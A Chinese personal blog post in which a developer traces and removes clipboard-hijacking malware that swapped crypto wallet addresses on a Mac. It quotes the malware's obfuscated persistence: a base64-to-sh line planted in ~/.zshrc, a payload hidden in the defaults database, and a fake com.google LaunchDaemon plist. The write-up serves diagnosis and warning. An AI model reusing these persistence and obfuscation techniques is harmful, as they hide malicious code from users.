发现
说来也是个巧合,我的mac主用于软件开发,几乎不怎么处理加密货币相关业务,发现中了病毒是在一次偶然间,我负责一串数据库里的字符串,然后去网页的后台查询,发现复制出来的居然是一串陌生字符串!我还以为是我复制错了,但是我的mac安装了maccy(剪贴板软件)一打开发现:不对,我负责的那个字符串之后的短时间,我又复制了一个陌生的字符串,而我并没执行过这种操作,我一看复制的陌生字符串,完全符合一个钱包地址的特征!我这才意识到,我中了剪贴板病毒。
ps:前一天我还在和别人说,mac不会中毒 2333
初步排查
所有问题第一步肯定是复现,好在是我这个替换几乎100%复现,比如我复制一个钱包地址(vsuuW结尾)

会立马出现第二个钱包地址(i47hg结尾)如图所示
而且有以下特征,比如我在tg复制,立马切到chrome

显示的是chrome触发的复制,这说明不是单一应用劫持(chrome插件或者tg中文包污染)
那问题就来了,这是一个系统级的劫持。
第一次清理
既然是一个系统级劫持,那么我首先想到的是翻看系统日志,于是我向chatgpt要了几个指令,但是随之而来的是茫茫多的日志,根本看不过来。我也排查了我的启动项和后台运行项目,关闭了所有未知的和非官方的,于是我换了个思路,思考一般恶意脚本是怎么实现的,一番搜索后,锁定了osascript,这是最危险的工具之一。黑客可以编写一段简单的脚本,通过 osascript 运行。它可以调用 get the clipboard 和 set the clipboard to 来读取和篡改内容。
于是我向chatgpt又要了一个指令ps aux | grep osascript。这一次揪出了恶意进程

我的进程列表出现了这种及其不正常的进程,这100%是恶意进程,于是我杀死了他,剪贴板被替换的问题果然不再出现了,很明显,他就是元凶。到这里,我以为事情告一段落了。
卷土重来
第二天,我如往常一样打开电脑,同时我留个了心眼,执行了ps aux | grep osascript,发现进程列表十分干净,于是我开始进行工作,一段时间后,心血来潮下,我突发奇想又试了试复制一个地址,然后我的地址又被替换了!我一查发现,这个神秘的恶意进程又出现了,这一次我留了一个心眼,先没着急杀死他,我记下了他的pid,并试图反查ppid(父进程),发现它的ppid=1,这就说明,他是通过启动项拉起的,但是我细细思考,我刚启动电脑时并没有立刻出现中毒症状,我的启动项也是干净的,于是我通过lsof -p PID 来查询这个进程的文件操作历史,一查发现:

他是通过我的/tmp目录下的一个y.app拉起的,并且我查询这个文件,发现他在拉起恶意进程后就自动删除了,说明他也只是整个病毒运行链的其中一环,而不是源头,于是我还要接着排查,根据ai的提示,我再次运行sudo lsof -p 31727 ,并关心他与其他进程的ppie通讯,发现它通过ppie在和另一个进程频繁通讯

于是我通过sudo lsof -a -p 31727 -d 6,7,8,sudo lsof -n | grep -E "0x9e61b9c98c424d0f|0x9afc78cb9a48e4a6"
查看他的对端通讯进程,发现是一个名字叫do的进程,至此,已经有了大致排查方向。

在 macOS 原生系统中,并没有一个合法的标准进程叫 do。它极大概率是一个伪装成常用词的恶意二进制文件。由于它正开着管道,说明它还在活跃。ai让我通过sudo launchctl procinfo 34003查看他的启动详情,但是由于他的输出是一串我完全看不懂的东西, 于是我直接把它丢给了ai,这里贴一下ai的解释:

真相大白
我按照ai的提示,运行了tail ~/.zshrc

终于真相大白了,我的zshrc被污染了,仔细看这行
((echo KChkZ......SAmKQo= | base64 --decode | sh) >/dev/null 2>&1 &)
解码后的内容是:
(defaults read 0e963c nbujy_rixbu_ibn | base64 --decode | env SRC='Terminal' sh)
他从我的defaults数据库中读取一个名为 0e963c 的隐藏配置项,再次解码并直接丢给 sh 执行。这就是为什么我一值找不到 /tmp/sz 的原因——它直接从注册表一样的数据库里读取指令并运行。
同时,我使用ls -la /Library/LaunchAgents ls -la /Library/LaunchDaemons再次排查我的启动项,这次我发现了一个不正常的启动项

这个com.google.rbklpc.plist我上网一查,根本没有这个启动项,我再cat /Library/LaunchDaemons/com.google.rbklpc.plist一看

果然就是它,根据ai的解释:
1. 核心属性分析
<key>Label</key> <string>com.google.rbklpc</string>- 这是服务的唯一标识符。
- 恶意点: 故意起名为
com.google.xxx,是为了混淆视听,让用户在查看活动监视器或自启动项时,误以为这是 Google 浏览器的官方更新服务。
<key>RunAtLoad</key> <true />- 作用: 只要电脑开机,或者该文件被加载,立即启动命令。
<key>KeepAlive</key> <true />- 作用: 这是最流氓的设置。 如果你手动强制杀死了它启动的进程,macOS 会认为该程序“异常崩溃”,并立即重新启动它。这解释了为什么你之前可能杀不死那个
osascript进程。
- 作用: 这是最流氓的设置。 如果你手动强制杀死了它启动的进程,macOS 会认为该程序“异常崩溃”,并立即重新启动它。这解释了为什么你之前可能杀不死那个
<key>StartInterval</key> <integer>3600</integer>- 作用: 每隔 3600 秒(1 小时) 强制重新触发一次命令。这确保了即使没有触发开机启动,它也能定时检查并重新注入恶意代码。
2. 执行命令解码 (Payload)
这是最核心的部分。它运行了一个隐藏的 Bash 命令:
原始代码: echo c3VkbyAtdSAnYTY0NjczJyBkZWZhdWx0cyByZWFkICcwZTk2M2MnICdqaWl1X3J6eWFpenMnIHwgYmFzZTY0IC0tZGVjb2RlIHwgc2gK | base64 --decode | sh
Base64 解码后的内容: sudo -u 'a64673' defaults read '0e963c' 'jiiu_rzyaizs' | base64 --decode | sh
这行命令在做什么?
sudo -u 'a64673':以你的用户身份(a64673)执行后面的操作。defaults read '0e963c' 'jiiu_rzyaizs':去 macOS 的“注册表”(defaults)里查找一个名为0e963c的域,读取其中jiiu_rzyaizs的值。- 核心机密:木马没有把真正的恶意脚本写在磁盘上,而是藏在了系统的配置数据库里。这样普通的杀毒软件扫描文件时根本发现不了它。
| base64 --decode | sh:将读取出来的配置内容(即真正的剪贴板劫持代码)解码,然后直接丢给 Shell 执行。
3. 它的完整工作链路
- 加载: 系统启动,
/Library/LaunchDaemons下的这个文件被读取。 - 提权与降权: 配置文件本身在系统目录(
/Library),拥有 Root 权限,但它通过sudo -u降权到你的账户来操作你的剪贴板(因为剪贴板是用户级的)。 - 内存运行: 它从系统的隐藏配置数据库中拉取代码,直接在内存中通过
osascript运行。 - 持久化: 只要你在使用电脑,它每小时都会检查一次。如果你手动删除了
~/.zshrc里的那行,这个守护进程也会在下一小时再次把它写回去。
至此,算是彻底找出了他的源头,我清理了defaults数据库,~/.zshrc 恶意行,以及这个plist文件,终于是彻底清理干净了这个病毒,至于是什么时候感染的,干了什么,我已经完全没印象了,也许是某个软件的破解脚本?也许是某个github上的未知sh。
结语
我一直以为这种病毒离我很远,长久以来我使用windows电脑都没中过病毒,没想到居然在mac上遭了。当然,也有可能是从win转到mac,下意识的感觉macos不会中毒,放松了警惕,没有验证脚本内容就执行了,也有可能是我之前都并没有参加生产活动,电脑数据没有价值。这一次如果不是我有使用加密货币的行为+有去了解过常见的加密货币盗取手段,也没有那么容易发现问题,可能真的就当是复制错了。
在这里也提醒看我博客的各位,电脑安全不是小事,不要执行未经验证的sh脚本,不要下载来历不明的软件,尽量使用热门的开源项目以及官方的软件,如果有使用加密货币的伙伴,也要注意,转账一定要核对清楚地址,再三确认。最后,谢谢大家的观看,如果有帮到你排查出电脑上的病毒,那最好不过,也要感觉chatgpt和gemini,虽然问多了幻觉很严重,但是给了我很重要的排查方向。

Comments NOTHING